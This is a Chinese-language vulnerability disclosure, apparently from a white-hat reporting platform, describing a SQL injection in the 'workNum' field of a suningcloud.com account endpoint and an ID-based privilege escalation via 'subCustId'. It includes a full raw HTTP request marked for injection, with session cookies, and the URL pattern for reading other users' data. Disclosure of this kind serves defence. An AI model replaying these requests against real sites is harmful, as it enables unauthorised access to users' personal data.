漏洞详情

披露状态:

2015-07-15: 细节已通知厂商并且等待厂商处理中
2015-07-15: 厂商已经确认,细节仅向厂商公开
2015-07-25: 细节向核心白帽子及相关领域专家公开
2015-08-04: 细节向普通白帽子公开
2015-08-14: 细节向实习白帽子公开
2015-08-29: 细节向公众公开

简要描述:

SQL注入+越权

详细说明:

问题站点:http://www.suningcloud.com/
漏洞描述:该站点存在SQL注入漏洞及越权漏洞
1)SQL注入漏洞
测试代码:

POST /account/addSubCustInfoAction.htm HTTP/1.1
Host: www.suningcloud.com
Proxy-Connection: keep-alive
Content-Length: 78
Accept: */*
Origin: http://www.suningcloud.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.suningcloud.com/account/employeeInfo.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: authId=si616DF95A0E3C42297FBE3658A3B43359; JSESSIONID=h34uMv3-PqxrdguMCjQoabwy.slave04:fserver2; yscuser=83***%40qq.com
name=%E6%B5%8B%E8%AF%95&telphone=&email=111111%40222.com&workNum=99999999*


漏洞参数:workNum

QQ图片20150715104335.jpg


证明即可。
2)平行越权
功能模块:

QQ图片20150715104447.png


http://www.suningcloud.com/account/editSubAcc.htm?subCustId=192
其中 subCustId 的值可以任意修改,可以获取用户信息

QQ图片20150715104605.jpg


QQ图片20150715104625.jpg


OK、就这样吧~

漏洞证明:

修复方案:

标签: none

评论已关闭